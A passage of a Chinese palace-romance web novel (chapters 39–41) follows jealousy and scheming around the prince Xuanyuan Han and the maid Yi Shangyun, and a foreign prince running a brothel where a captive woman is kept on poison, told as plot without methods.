轩辕翰却突然开口问道“他是谁?”

衣上云疑惑道“他?”

“怎么,只不过一夜之间便记不起来了。如此,那本王不妨提醒你一下”轩辕翰似是轻蔑冷冷地说道。

“中秋之夜与你街市共度”

“海棠谷......对你举止亲密”

“本王大婚之日又当着本王的面将你劫去”

轩辕翰一字一句边说着,边迈步向着衣上云面前一步步逼近,很快衣上云便被逼身到身旁的床榻边扑通一声倒坐了下去。

她看着轩辕翰凌厉而又坚定的目光一边惊慌着一边脑中急急回忆,而当听到海棠谷的时候立马羞愧难当打断轩辕翰的话道“殿下,你.......”

谁知轩辕翰依旧不依不饶地欺身下去紧紧盯着她的眼睛不放,距离太近,他甚至都能听到衣上云此时扑通扑通的心跳声。

就在此时,轩辕翰突然站起身来道“本王的提醒,你可想起了?”

衣上云一阵凌乱怯怯地起身来道“殿下误会了,他只是奴婢的一个朋友而已”

“朋友,哼,真好笑,衣药女对朋友的定义也真够广泛的,本王竟不知这天下女子与异性朋友之间的举止何时竟已可以如此亲密了”

衣上云第一次看到轩辕翰脸上挂着笑容,而此时的这个面带笑容说话的人口气中明显对她充满了冷嘲热讽。

“殿下,他叫易君浩,他真的只是奴婢的朋友”衣上云也开始一本正经地回答起他的质问,竟没有发现自己不知何时起在乎起这个男人对她的看法来。

稍顿了片刻她又继续道“三少他是百草谷谷主,百草堂正主。奴婢之前每次需要的仙草都是他给的,他一直在帮奴婢。人性格又豪迈不羁,只是偶尔言行举止有些跳脱而已,奴婢真的跟他没什么,根本不是殿下想的那样”

原来他不是魏明轩,确认了这一点,轩辕翰终于松了口气不再继续为难她了。

“衣上云,你真是蠢笨至极的无药可救了”轩辕翰忽然靠近贴着衣上云的耳边,对她说了这样一句话之后便回头快步走出了云水阁阁楼。

只是刚转身去的时候顿一立足眉毛瞬间舒展开来,嘴角上扬竟露出了一个极好看的弧度。

而衣上云则怔在原地,一脸的莫名其妙,不知其意为何?这时,她才怀疑起来“为什么殿下会知道我这么多事情。甚至连海棠谷的事情都知道......”

而此时,窗外角落里陆天骄将里面发生的一切看的真真切切。她眉头深锁,一筹莫展。

“果然如我所料,翰哥哥和这个女人的关系绝对不一般......”她正暗自说着忽然看到一个小女孩向着这边走来。

“姐姐,你也是和灵儿一样来找云姐姐的吗?”小女孩一走近就问陆天骄道。

“原来你叫灵儿啊,小模样长得可真好看。姐姐只是刚巧经过,灵儿和这个云姐姐很熟吗?”陆天骄试探着问灵儿。

“那当然了,云姐姐医术很好,她是个大好人,还是灵儿全家的救命恩人呢”灵儿天真无邪地看着陆天骄满脸自豪地说着。

“那云儿经常来秦王府吗”陆天骄继续套问着一个孩子的真话。

“对啊,秦王殿下对云儿姐姐也极好。每次云儿姐姐受伤都是秦王殿下带回到秦王府医治好了才回去的。而且云儿姐姐每次受伤都是秦王殿下亲自照顾的呢”

“什么?”陆天骄大惊道,她不敢相信自己的耳朵,可这话明明就是从一个小女孩的嘴里说出的,怎么可能有假呢。每次......已经很久了吗?

灵儿见陆天骄发起呆来,便拉起她的衣袖用力扯了扯,随后伸出一只手出来勾了勾示意她俯身下来耳语道“姐姐,我告诉你一个秘密,原本整个秦王府的人都以为云儿姐姐会是秦王妃,却没想到秦王殿下会娶一个他国公主,真是看错他了”

最后,灵儿还再三叮嘱对陆天骄说道“灵儿最后这句话姐姐千万不能让那个秦王妃知道喔”

俩个人说完,灵儿便径自走进云水阁去找衣上云,陆天骄则朝前殿走去,边走边出神地独自琢磨思量着“这个女人真的不简单,竟然把翰哥哥迷得神魂颠倒,竟然连整个秦王府都被她玩弄于股掌之上”

陆天骄忽然止步说了句“不行,绝对不行,一个小小的奴婢怎么配得上翰哥哥呢,我不可能输给一个如此奴颜婢膝的丫头”

此时恰巧梅汐媛一路追赶着轩辕翰回到王府,她本就气愤异常,然一进秦王府大门,终究不得不端起一副秦王府女主人的架势来,她自是不能让人看出风风光光的秦王妃竟是一个深宫怨妇的模样。

她止步吸气调整好心态和仪容,趾高气昂骄傲地带着赵嬷嬷和贴身的侍婢们朝着轩辕翰安排的新寝殿韶华阁而去。

“民女陆天骄见过秦王妃,王妃万福”陆天骄远远看到梅汐媛回府便急急迎了上去行礼道。

“陆天骄,你是?”梅汐媛停步却根本不识得眼前这个娇柔可人的女子。

陆天骄见状,连忙自己介绍道“王妃娘娘,民女乃是西秦学院院长陆贤之女陆天骄,亦是秦王殿下的师妹”

陆天骄果然聪明,她深知梅汐媛目前自是谁都不得相识,但只要说出与秦王交好,她便自会上钩。

果然不出所料,梅汐媛的脸色立马变得温和有礼道“原来是殿下的小师妹,方才失礼了。请里面坐吧”

“民女谢王妃娘娘”陆天骄计谋得逞。

梅汐媛似是黔驴技穷,对轩辕翰确实久久没有良方。此时竟伸出双手来拉起陆天骄的手热情地道“什么民女不民女的,既然是殿下的小师妹,以后你我便以姐妹相称便好,你看起来要比我小一些,今后你便唤我姐姐,可好?”

“天骄蒙王妃娘娘不弃,那就恭敬不如从命了”陆天娇欣然接受道。

到了韶华阁里两人坐了下来“梅姐姐初至西秦大地,可都还适应?”陆天骄含蓄关怀道。

“妹妹有所不知,姐姐初至西秦在驿馆的时候确实十分不适,不过后来皇兄请秦王殿下派了医女过去驿馆诊治,倒遇到个机灵的丫头,医术也颇好。现在已经好多了”梅汐媛讲道。

陆天骄左右打量看了看韶华阁说“梅姐姐大婚,不是应该住在秦王的寝殿林月轩吗?怎么会搬来至此呢?”

梅汐媛听闻脸上的笑容立刻僵住却又瞬间恢复道“妹妹有所不知,殿下关怀,念我身子不适,让我先在此静心调养好身子,故此而为之”

“即是如此,那便是殿下对梅姐姐怜香惜玉了,殿下真疼姐姐”陆天骄看到梅汐媛难看的脸色似是有些猜忌,但又立刻转变话语敷衍道。

此时,侍女奉茶上来,两人因为刚才的言语似是有些尴尬,都各自端起手中精致的鎏金茶碗来优雅地揭开盖磕碰着碗沿小饮着,以缓解这不适时宜的气氛和心绪。

院里,衣上云正牵着灵儿的小手从韶华阁门前经过打算要出府回宫去,恰巧被刚抬头望向窗外的陆天娇看见。

她眼睛咕噜一转,便开口道“梅姐姐,秦王府上怎会有小孩子?”

梅汐媛刚进王府门,自是对王府上下还都尚未熟悉了解,便也抬眼向陆天骄目视的方向看去,而她看到的确是一个熟悉的身影。

“是她?”梅汐媛一眼便看到遮面纱的衣上云惊讶道。随即便起身来朝外走去,陆天骄亦起来紧随而出。

“衣药女,怎么是你?”梅汐媛有些喜出望外地说。

“奴婢拜见秦王妃娘娘,娘娘万福”衣上云急忙行礼道。

“真没想到我们竟如此有缘,这么快就又见面了,你不是跟着玥公主的吗?是玥公主来王府了吗?你们这是要去哪啊,这个小孩是?”梅汐媛一时间竟像是遇到故人般欣喜。

“王妃娘娘,奴婢是陪同玥公主前来观礼秦王和王妃大婚的,因奴婢突发恶疾故被留在王府修养,玥公主昨夜已随皇后娘娘回宫去了。奴婢这会儿也无碍了,正准备回御药房去。这个孩子她叫灵儿,是一个可怜的孩子,秦王暂留她婆孙俩在王府暂居,待她父母归来再领回去”

衣上云说着摸了摸灵儿的小脑袋,对梅汐媛的提问一一做了答复。梅汐媛这才恍然明白。

“原来如此”梅汐媛说着也伸手去想要安抚摸摸灵儿的脑袋,谁知......

第三十九章:燃烧的白莲花

“原来如此”梅汐媛说着,也伸出手去想要安抚摸摸灵儿的脑袋,谁知灵儿却突然后退随之急急躲到了衣上云的身后藏起大半个身子来,只露出半个小脸儿出来,眼神里流露出不知是惊恐还是厌恶的表情来。

“灵儿,不得无礼,快给王妃娘娘请安”衣上云看到灵儿如此无礼的举止责备着。

片刻后,只见灵儿心不甘情不愿地缓缓从衣上云的身后走上前来,用那稚嫩又无邪如同银铃般清脆的声音跪拜行礼道“灵儿给秦王妃娘娘请安”

梅汐媛见此连忙上前屈身将小灵儿扶起,这才终于顺势摸了摸她的脑袋道“灵儿真乖,长得真可爱,既然殿下允你暂住在王府,那日后要多来本王妃这边玩玩,本王妃也会颇感热闹一些,好吗?”

灵儿没有回答她,一起身便又缩回到衣上云身后。

衣上云无奈,只能替她答谢“王妃娘娘人真好,能得王妃娘娘疼爱是灵儿的福气,日后灵儿一定会多前来叨扰,还望娘娘不怪罪她才是”

“衣药女言重了”梅汐媛亦是微笑着客气地说道。

“时候不早了,奴婢还急着回宫到御药房报到领差去,就不打扰王妃娘娘了,改日有机会再来给秦王妃娘娘请安”衣上云看了看天色,跟梅汐媛话别道。

“那你一路当心,日后一定要多来王府走走”梅汐媛关怀道。

“嗯,奴婢谢王妃娘娘不弃”衣上云说完也同时对梅汐媛身边的陆天娇颔首告辞,之后便牵起灵儿的小手朝王府大门走去。

很快就到了秦王府门口,衣上云这才转身回头蹲下来拉着灵儿一双稚嫩的小手说道“灵儿,你和奶奶日后还得有一段时间住在这个王府里,秦王妃娘娘是王府的女主子,你可明白?”

见灵儿嘟着小嘴不语,她继续语重心长地看着她的眼睛说“一定要乖乖听话,这样主子才会喜欢;主子喜欢,你的日子也才会好过;你的日子好过了,你爹娘才会安心,你才能安全地在此等候他们回来一家团聚,知道吗?”

“可是姐姐,王府上下所有的人都以为秦王殿下喜欢的人是你,而不是那个什么公主,为什么秦王要娶那个公主,而不是姐姐你呢?”衣上云顿时惊讶灵儿竟说出这样的话来。

她一时间慌乱无措,四处张望着看了看周遭并没有旁人在。这才狠狠地训诫灵儿道“不许瞎说,秦王殿下是什么人,姐姐我又是什么身份,这是对殿下的亵渎,知道吗?天下只有像东宁公主这样出身高贵的金枝玉叶才配得上殿下,以后这种话千万不许再说,记住了?”

灵儿依旧一脸不以为然却不得不嘟囔道“灵儿记住了”

“好了,记住姐姐的话,照顾好你奶奶,姐姐走了”衣上云虽然不舍得这个可怜的小女孩,但她也深知自己本就是个身不由己,泥菩萨过河自身难保的人。

“姐姐,我爹娘会平安回来吗?”灵儿突然问了句。

“会,当然会,灵儿,你一定要相信他们,所以你更要好好听话,在这里乖乖等着”衣上云安慰她。

“灵儿知道了,云姐姐你放心吧,我会好好听话,照顾好奶奶,不让你和爹娘为灵儿担心”灵儿似是自己鼓足勇气地道。

“嗯,这就对了。不管未来发生什么,灵儿一定要做一个勇敢的姑娘,记住姐姐的话”衣上云说着眼里竟噙满了泪水,随即匆匆起身来朝外奔去,只怕自己再多停一秒就会在这个天真的孩子面前止不住流出泪来。

教一个七岁的小女孩学会坚强,自己却先泪崩,这场景该是有多尴尬呀。

衣上云已然离去,小灵儿却还怔在原地痴痴站着望着她离去的背影,这时候躲在一旁墙角听着俩人凄凄告别的轩辕翰走了出来,用一只安全感十足的大手抚向灵儿的脑袋。

灵儿抬头看见来人是轩辕翰,竟对着他露出了一个责怪的眼神问了句“秦王殿下,为何你娶的是东宁公主,而不是云姐姐呢?”

轩辕翰听闻一脸复杂之态却不知该如何回答这个孩子此时提出的问题。是啊,也许当初他真的不该应允璟帝这桩和亲,可如今......

最后,他只得对灵儿道了一句“灵儿乖,等你长大以后,自然就会明白,人生中有很多事情都是始料未及的”,灵儿一脸不解,随后便被轩辕翰牵起小手转身朝王府后殿走去。

此时,梅汐媛和陆天骄送走了衣上云,又再次回到了韶华阁里。

寒冬腊月,外面到处一片冰天雪地。而屋内却尽是暖洋洋的,一室的温暖如春。

炭火盆里的极品无烟炭燃烧后散发着寒冬里迷人的温度,梅汐媛披着为早上进宫请安特意准备的东宁国最极品奢华的狐白裘衣,俩人就着茶果点心,相聊甚欢。

陆天骄对梅汐媛说道“原来为梅姐姐医治,梅姐姐说的机灵丫头,医术颇高的便是这个女子啊”

梅汐媛听着心里似是有些怀疑地说“正是她,难道妹妹也认得这名女子吗?”

陆天骄眼睛转了一下道“姐姐,这个女子,怕是秦王府内无人不知,无人不晓的”

梅汐媛突觉陆天娇此语话中有话,便道“哦,妹妹说的可是真的。妹妹知道些什么,不妨直言,也说给姐姐听听”

陆天骄却突然收起心思道“姐姐有所不知,妹妹也是道听途说的。这其中端由妹妹也不知该从何说起,想必以后在秦王府的日子长了,姐姐慢慢自会都知道的”

说完,陆天骄朝窗户外面看了看天色说“梅姐姐,天色不早了,妹妹该启程和哥哥回学院去了”说完便起身来。

梅汐媛听闻一脸狐疑,但陆天骄既不愿意说,她也不便再继续追问,亦起身道“既然如此,妹妹以后得空要经常来王府看望姐姐,多走动走动才好”

“那是自然,以后妹妹若是打扰了姐姐,还望姐姐莫怪”陆天骄客气地说。

梅汐媛:“怎么会呢,姐姐巴不得妹妹常来呢”

“外面天冷,姐姐身子多有不适,就不必出门相送了”陆天骄说完便要出门去,却突然转身回头来补了一句“所谓害人之心不可有,防人之心不可无,姐姐日后还需自己多留心才是”

梅汐媛越觉得她这话里有话不对劲,却直道“谢妹妹提醒”。

这时,陆天骄朝着梅汐媛微微一笑才缓缓移步出去。

梅汐媛却怔在原地许久,暗自道了一句“衣上云,秦王府无人不知,无人不晓”

“赵嬷嬷,去给本王妃好好打听打听”许久,梅汐媛蹙眉对一旁的赵嬷嬷下令道。

“王妃放心,老奴一定查的清清楚楚”赵嬷嬷咬牙切齿也信誓旦旦地领命道,眼里露着的尽是凶狠的眼神。

西秦国城内,西秦学院陆氏兄妹俩人正共乘一辆马车一路往南疾驰在回学院的途中。

天色已晚,路过一家客栈的时候停下来准备投宿一夜天亮再继续赶路。

“店家,麻烦帮我们备两间上等客房,一桌酒菜,再安排人将外面的马车好好打理补给一下,明天一早天亮我们还要赶路”

陆天麟安排好一切,来到坐等在一旁的陆天骄身旁落座。

陆天麟坐下看了看陆天骄一眼,皱眉说道“妹妹,你真是太大胆,太任性了,去秦王府之前哥哥都提醒过你多少回了。秦王殿下已经大婚,你还想怎样?”

“哥哥何出此言,妹妹不懂哥哥所说”陆天骄面无表情佯装着回答道。

“不懂?那你冲着殿下说的那句话是什么意思?殿下是西秦皇族中人,你可知道”陆天麟用接近训斥的口吻说。

“他是西秦皇族人又如何?”陆天骄一点都不示弱地怼他。

陆天麟见她始终不知悔改,更气道“皇族子女,婚姻大事岂可任由自己。哪个不是以先做一颗皇家巩固江山社稷用的棋子为先”

“那又如何”陆天骄依旧不肯认错。

“如何?既然你都知道,为何还要问殿下喜不喜欢永乐公主。他们既已是夫妻,喜欢与不喜欢又干你何事”

陆天麟到现在还在为他这个妹妹当着尊贵的秦王殿下面质问这句话而提心吊胆着。这个妹妹着实让他不放心。

陆天麟深知陆天骄心里和口中所谓的从小到大青梅竹马的感情,其实只不过是这个妹妹的一厢情愿而已,尊贵的战神秦王并非池中之物,又怎么可能看上他妹妹这样平凡最多也就空有一副皮囊的女子。

“客官,您的酒菜齐了,请慢用”这时,店家端上来一桌热腾腾的酒菜,兄妹俩人看着却无一人先动手用餐。

终于,陆天麟还是忍不住说出了这句极其伤害陆天骄自尊的话来“妹妹,你喜欢谁不好,非要喜欢一个不可能的人。你自己也明明知道,从始至终这都只是你自己的一厢情愿而已”

听到这句,陆天骄立马暴跳站起身来道“够了,我的事不要你管,管好你自己吧。难道你看不出殿下对你当时退掉亲的衣家嫡女的心思吗?”

话一说完,陆天骄便转身夺门而出,瞬间消失在这已经有些朦胧的夜里。

“衣家嫡女...衣上云...秦王殿下,他对衣上云的心思......”陆天麟被妹妹的怒吼声惊到,却琢磨起妹妹丢下的这句话来。

“不可能,绝对不可能,衣家那丑女,废柴,殿下怎么可能对他......”陆天麟自言自语着,一脸的不相信的摇着头。

他突然意识到陆天骄一天了亦还没有吃饭,便抬头朝着她离去的方向看去,却早已是空无一人,他叹了口气自顾自吃了起来。

客栈不远处一条小河边的亭子里,陆天骄被陆天麟训斥后从客栈一路狂奔出来,此刻正坐在亭子里面梨花带雨伤心地抽噎着。

“一厢情愿,自作多情,陆天骄啊陆天骄,枉你还是西秦学院大小姐,知书达理,大家闺秀,也算是出生名门。如今却被如此羞辱”陆天骄咬牙切齿地说着。

“我好恨,好恨,为什么?为什么你们都这样对我,我到底做错了什么。殿下...翰哥哥,你为何将天骄视如草芥,弃如敝履”

“不,我陆天骄生来尊贵,岂能任由你们呼之则来挥之则去。我不能就这样认输。哼......秦王妃,衣上云,是你们逼我的,是你们逼我的”陆天骄似是发狂般的喊着。

在严冬这样寒冷的夜里,她却似乎一点都感觉不到冷。此时她几近失去理智,整个人都好像被仇恨燃烧了起来,被仇恨灼烧着,全身滚烫,似是唯有在这冰冷的天地之间才能寻得一点舒适的温度,让自己好受一点。

而就在这时,从这漆黑的夜里闪现出一个陌生的人影来,你是何人?

......

第四十章:“北烈国商人”

就在这时,从这漆黑的夜里闪现出一个陌生的人影.

“谁?”陆天骄忽然惊道。

漆黑的夜里朦朦胧胧中,只见从凉亭边桂花树的枯枝后缓缓闪现出来一个身材高大的身影。

随着身影越来越近,陆天骄终于看清是个身着玄色冬衣锦袍,墨发半束,一双剑眉下鼻梁高挺,气度不凡的男子。

“小姐莫怕,在下不是坏人”男子一露面出来便急急解释道。

“哼,不是坏人为何要偷窥本小姐”陆天骄一脸不屑地对他说。

“小姐误会,在下只是恰巧路过。见天色已晚,小姐孤身一人在此失神落魄,担心小姐遇到歹人,故在一旁守护不敢随意惊扰”男子一边说,一边靠近陆天骄的身旁坐了下来。

陆天骄见他不请自坐了下来,方才还黯然失神空洞的眼神立马变得明亮起来,瞥了男子一眼,随即脸扭向另一边看去。

有的女人,就比如现在的这个,变脸果然比变天要快。

“敢问小姐为何深夜独自一人在此伤心落泪呢?”男子一落座下来便问。

“本小姐的事与你何干”陆天骄好不容易放下了刚才的心事,被男子这么一问,又瞬间浮上心头,于是气急败坏地怼了句。

“小姐莫要动怒,女人动怒无论对身对心皆无益处,在下只不过是想为小姐分忧而已”男子急急劝说她道。

“你?”陆天骄说着用疑惑的眼神更像是在嘲讽他能帮她分什么忧.

“小姐不妨说出来听听,也许在下真的能帮到小姐呢,不是吗?”男子执意微笑着说。

陆天骄此刻确实需要一个倾诉对象,反正也互不相识。就权当发泄好了。

于是,陆天骄说道“如果你喜欢了一辈子的人,他喜欢的却是别人而不是你,你会怎么办?”

“这不简单,小姐另外找个喜欢你的人不就好了吗。韶华易逝,红颜易老”男子轻松地说着。

陆天骄一听便白了他一眼,他立马意识到自己的玩笑有点不合时宜,便变得一本正经地说“那就......毁了她”。

男子特意靠近陆天骄的耳边说了这样一句,脸上虽然微笑着,眼里却竟露着凶煞的神情。

陆天骄听了立马一怔,低眉心里想“毁了她......”

“小姐,既然有缘,交个朋友如何,在下拓跋泽,乃北烈国商人”男子见陆天骄就他所言有所琢磨便自己介绍道。

“北烈国?难怪方才一直听你口音不像是西秦人士”陆天骄这才解了刚才的疑惑道。

“那不知在下,可否有幸结识小姐呢?”拓跋泽微笑着追问。

“小女陆天骄,家父是西秦学院院长”陆天骄亦是有礼地答道。

“原来是鼎鼎有名的西秦第一学府西秦学院陆院长的千金,幸会幸会,能认识小姐,实在是三生有幸。日后有任何需要在下的地方,小姐尽管开口,不必客气”拓跋泽言语奉承着,陆天骄却似是很享受这些美丽的言语。

“你是商人?那你是做什么生意的”陆天骄突然问道。

拓跋泽迟疑了一下问“陆小姐真的想知道?”

“不便说吗,那就算了”说着,陆天骄板起脸来起身想走。

拓跋泽赶忙站起身来伸手拦住她道“不是在下不敢说,只怕陆大小姐不敢听”。

“笑话,这世上还没有我陆天骄不敢听的话,你敢说我便敢听,且说无妨”。

于是,拓跋泽轻声地问陆天骄“陆大小姐可曾听过万娇阁?”。

陆天骄还真没听过拓跋泽说的这个地方,露出一脸疑惑问“万娇阁?那是什么地方?”。

只见拓跋泽并未就此直接作答,而是向着陆天骄身边缓缓走过去然后耳语。

“什么?”陆天骄霎那间大惊地喊叫了一声,随即便惊慌失措地狂奔出凉亭,朝客栈方向而去。

她走出很远之后,从阴暗的角落里走出两名侍卫上前到拓跋泽面前恭敬地行礼后其中一名道“殿下为何要屈尊结交这样一个刻薄刁钻的女子”。

拓跋泽抬头望着陆天骄离去的方向,下巴微微扬起道“西秦学院......可一点都不普通”。

说罢,便转身三人一起消失在这片浓浓的夜雾之中。

此时,陆天骄一路狂奔终于回到客栈,听到隔壁“咣当”一声门响。陆天麟知道是陆天骄回来了,便急急走出去叩门道“妹妹,发生了何事?”

“没事,我累了”陆天骄满脸绯红,心到现在还扑通扑通地跳着,没想到这个北烈国商人竟是做的青楼女子买卖。

此时,陆天骄才深吐了一口浊气。不过,她却记住了拓跋泽的一句话“那就毁了她......”

夜幕下,西秦城南一片烟花柳巷聚集之地,万娇阁居占鳌头。

一个精致的四合院式小洋楼高级风月场所,豪华奢靡、莺歌燕舞、千娇百媚、声色犬马。

更重要的是,这里来来往往进进出出的尽都是些豪门富户、权贵雅士、名门望族。

老鸨正喜逐颜开地用她那张三寸不烂之舌打点伺候着每一位贵客,跑堂的大茶壶像只猴子般跳上窜下飞奔在堂里,楼上楼下忙的不亦乐乎。

阁楼内的男男女女,吟诗作对的、你拉我扯的、倚着栏杆撅着小嘴欲擒故纵的、捶腿的、捏肩的、揉背的,个个都使出浑身解数各展才华,其实大部分不过都是些可怜女子罢了。

一双玉臂千人枕,

半点朱唇万客尝,

迎来送往知多少,

惯作相思泪两行。

“殿下,老鸨说前段时间逃跑的那个小娘子自己又回来了”紧跟在拓跋泽身后的两个侍卫有一个禀告道。

“确定没有问题吗?”拓跋泽冷声怀疑地质问道。

“已经派人都仔细查过了,她是跑出去被西秦秦王府收留做下人,后来据说是想飞上枝头做凤凰打了秦王的主意,被府上的老嬷嬷发现赶了出来,甚是凄惨,无处可去只得再回来这里”侍卫道出详情。

“身上用的毒呢”拓跋泽又问。

“殿下放心,老鸨已经继续在给她用毒了,不会出岔子”三个人一边走一边轻声说着,随即上楼来到万娇阁顶层一间隐秘的阁楼里。

“咚咚咚”一阵敲门声传来,侍卫忙过去开门。

是老鸨走了进来,见到拓跋泽便行礼道“殿下,你要的毒再过几日老身便会制好,你确定要这么做吗?”

“你只管制毒,其它不必多问,此事事关重大,一定要控制好,否则后果不堪设想”拓跋泽甚是严谨地交待。

“老身明白,还有那个女子该如何处置?”老鸨口中说的这个女子正是从秦王府被赶出来的婆婆的儿媳,灵儿的娘亲——玉娘。

“这个女子资质不错,先给本皇子好好侍候着,本皇子要留作他用,不能再出岔子”拓跋泽锁紧眉头意味深远地讲着。

老鸨说完正想离去,拓跋泽叫住了她“南安国那边有什么动静吗?”。

“南安那边对老身暂时尚且没有怀疑,殿下放心”老鸨真实的身份其实是灵空大陆南安国贵族人士,而现在她却倒戈投向了北烈皇子拓跋泽。

其实拓跋泽并不完全相信老鸨的倒戈,所以经常会居于万娇阁亲自监督理事。

“还有一事交待下去,如果有人报上西秦学院的名字来找本皇子,务必及时通知本皇子”拓跋泽说完老鸨领命退去。

“殿下认为刚才那位姑娘真会再来?她刚刚明明知道了咱们的身份后吓得落荒而逃啊”一旁的侍卫似是怀疑地问。

“哼,本皇子看人料事什么时候错过?世间女子皆因爱而生、因爱而死、因爱而恨、因爱而贪、因爱而嗔、因爱而痴、因爱而疯而狂。陆天骄...她明显已经疯狂了”拓跋泽笃定了陆天骄一定会再来找他帮忙。

“西秦学院,这里面肯定藏着不可告人的大秘密”说着,拓跋泽露出了极为好奇和深不可测的眼神。

“那如果控制了陆大小姐,西秦学院自会成为我们的囊中之物。殿下英明”侍卫瞬间似是明白过来。

“如今毒已将备好,其他事进展如何了?”拓跋泽问。

“原本二殿下对医药之术颇有研究,有他帮忙的话自是事半功倍,只是他始终自命清高不屑与我们为伍。所以属下只能另行安排人去办,不过殿下放心,此次西秦太子绝对逃不掉,而且我们在南安国境内下手,西秦绝对不会怀疑到是我北烈所为”侍卫细细禀着。

“清高?本皇子看他是日子过的太舒坦了。在北烈高寒干旱的大草原上,如果没有本皇子带领众将领四处征战,掠夺,仅仅依靠互市他将衣不蔽体食不果腹,北烈国遍地饿殍,国将不国。跟本皇子谈清高...”拓跋泽狂怒道。

“殿下息怒,兴许二殿下只是尚且太年轻了”侍卫见状连忙劝声道。

半天后,拓跋泽一只手伸了出去微微摆了摆,示意他们都退下去,二人见状便悄悄禀退了出去,轻轻将门掩上。

北烈国君年迈但甚是偏袒他这个皇弟,认为他的皇弟性情温和,人品贵重。而他却觉得这个皇弟是个扶不起的阿斗,优柔寡断,妇人之仁。北烈国要是交到这样的人手中,不亡国乃怪事也。

“唉......”终究所有的心事化为这一声长叹,随即他移步到房间靠窗的位置而立,放眼朝外望去。

半晌后只听见他忽然望着对面的窗户口中道出一句“果真是个迷人的美人儿”。

夜晚时分雨潇潇,只见对面阁楼里灯火昏暗,一个身着紫衣、弯弯的柳叶眉下一双水灵的大眼睛,细腻温婉的女子正倚在窗边朝外凝视着若有所思,似是一副多愁善感的样子。

“深画眉,浅画眉,蝉鬓鬅鬙云满衣。阳台行雨回。巫山高,巫山低,暮雨潇潇郎不归。空房独守时”此刻女子低声吟道。

“哎呀,我的小祖宗啊,都跟你说过多少次了,老老实实在房间里呆着,好好在房间里呆着,你怎么就听不进去呢”

这时老鸨进来打断了她的思绪和浅吟,一边喊着说着,一边急急走过来伸手把女子从窗前半推半就至房间里面桌案边坐了下来。

接着又走回去窗前,探出半个脑袋四下里张望看看,见到除了对面同样倚窗而立的拓跋泽外并无旁人,这才安心地朝对面的主子微微颔首后急急将所有窗户关的严严实实。

这个女子是谁呢?......

第四十一章:种子发芽了

这个拓跋泽口中迷人的美人儿到底是谁呢?

她正是婆婆的媳妇,亦是灵儿的娘,名唤玉娘。

自从在秦王府得知万娇阁可能会有她失踪丈夫的消息后,她便配合着秦王府众人做了一场震惊了大半个西秦皇城的苦肉计。

如今,被赶出王府细细数来也已有数月,却丝毫没有收获。

此刻她正满腹惆怅着沉浸在对家人无尽的思念和对丈夫缠绵悱恻无边的相思之中。

“我说玉娘啊,咱们可是丑话说在前头过的。你既然选择了再次回到万娇阁,就得乖乖听老娘的话,如果你再私自到外头抛头露面惹出什么祸端,那就别怪老娘我翻脸不认人”。

老鸨凶神恶煞气呼呼地一边说着,一边将方才端进来的一碗汤药狠狠“砰”地一声摔在玉娘面前的桌案上,药汤瞬时四溅出来。

但玉娘对她却并不害怕,她的心已经接近绝望了。

有时候她恨不得老鸨每天端来的汤药哪天变为致命的毒药,让她永远的闭上眼睛不要再这么绝望地活着。可是一想到还有个可怜的小女儿,她又不得不继续苟延残喘地活命。

“像我这样的人,你究竟要这样留着我何用?”玉娘一边端起老鸨每天按时送来必服的各种慢性.毒药,一边绝望地问着。

“哼,主人如此厚待于你,留着你自然有用。你亦不必心急,总有一天你会知道的 ”老鸨一边说着一边走到门口长廊的护栏边。

她低头看着楼下一片活色生香逢场作戏的痴缠男女,用极其轻蔑的口气对玉娘说“莫不是你独守空房太久耐不住寂寞,想学他们不成?”

玉娘并没有理会她的挑衅,只顾着服下了毒药后突然说了句“我要见主子”

“你说什么...你要见主子?主子他是什么人,也是你能想见就见的?”老鸨惊讶地从外面一步跨进门来走到玉娘面前对她怒道。

“见不到主子,玉娘从此不再服任何药汤”玉娘一脸坚定严肃地说道,老鸨顿时气的咬牙切齿起来喃喃道“真不知道主子究竟为何弄回这么个烈性子的女人”

但她知道只能先将其劝慰下来再另做打算,于是道“让我安排一下,主子远在天边,也不可能随叫随到”

“如此,便有劳了”玉娘如得所愿,许久以来一无所获迷雾般的局面似乎瞬间变得清明起来。她不能再等下去了,她怕再等下去丈夫会不会......。

此刻,她想都不敢往下想。她必须主动出击想法让敌人现身,既然她无法找出这个幕后黑手,那就只能让对方来找自己了。

很明显,她知道老鸨只是一个傀儡,真正的主子才会给她更多想要的答案和信息。

老鸨气呼呼地端起药碗走了出去将门掩上,口中喃喃“这个女人,竟敢威胁我,当初要不是殿下一定要留着她,她还能有今日这般姿态。哼,看我日后怎么收拾你”

老鸨走后,一室寂静。

玉娘一个人坐着又低吟起那句“深画眉,浅画眉,蝉鬓鬅鬙云满衣。阳台行雨回。巫山高,巫山低,暮雨潇潇郎不归。空房独守时”

随后便双眼噙满泪水暗自道了一句“夫君,玉娘今日所做的一切都是为了你,哪怕沦落至这烟花柳巷之地也无怨无悔,玉娘只求你一定要活着,一定要活着......”

老鸨从房间一出来便碰到了拓跋泽,她急急走过去放低声音说道“殿下,那个女人执意说要见你,否则便不再继续服药”

拓跋泽听了眼睛一怔,接着淡淡地说了一句“本皇子知道了”

老鸨一脸忧心地退下,拓跋泽用一副皮笑肉不笑的表情暗自说了一句“好戏就要开始了”

一场冬雨过后,天气越加的寒冷刺骨。

秦王府里,秦王妃梅汐媛正一身雍容华贵的冬衣加着奢华珍贵的狐白裘衣端坐在温暖的韶华阁里心情舒畅,正优雅地品着东宁国陪嫁过来的美容养颜极品花茶。

“王妃娘娘,这秦王府的奴才们口风实在太紧,老奴费尽力气也没能打探出半点消息”赵嬷嬷一脸无奈地正在向梅汐媛禀告着她打探的结果。

而梅汐媛却露出一脸平静道“这样的结果,本王妃早有所料,嬷嬷不必自责。秦王府的事情尤其是殿下的事,岂是如此容易便能打听到的”

赵嬷嬷近身到梅汐媛身边道“王妃娘娘,那接下来咱们该怎么办?”

梅汐媛眼睛温柔地一眨微笑着说“嬷嬷放心,本王妃自有办法。我让嬷嬷炖的冬补汤可炖好了?”

“已经炖好,娘娘是要......”赵嬷嬷似是心中已有些猜度地疑问。

“哼,嬷嬷带着冬补汤跟随本王妃去给殿下请安吧。既然他不来我这韶华阁,那本王妃就亲自过去问候他”梅汐媛哼笑一声说。

承华殿里,站在大殿门口随时待命的副将程良见梅汐媛过来,似是怕里面的主子听不见,便立刻大声地行礼道“属下参见王妃娘娘”

梅汐媛端起一副客气又不失贤淑的姿态关切道“这大冷天的,程将军侍奉殿下实属辛苦。”

“王妃娘娘关怀,照顾殿下乃属下职责所在”程良回话。

“近日里本王妃看殿下甚是繁忙辛苦,唯恐下人们照顾不周,特亲自下厨炖了这盅冬补汤前来送予殿下,烦劳程将军帮忙通传一声”。

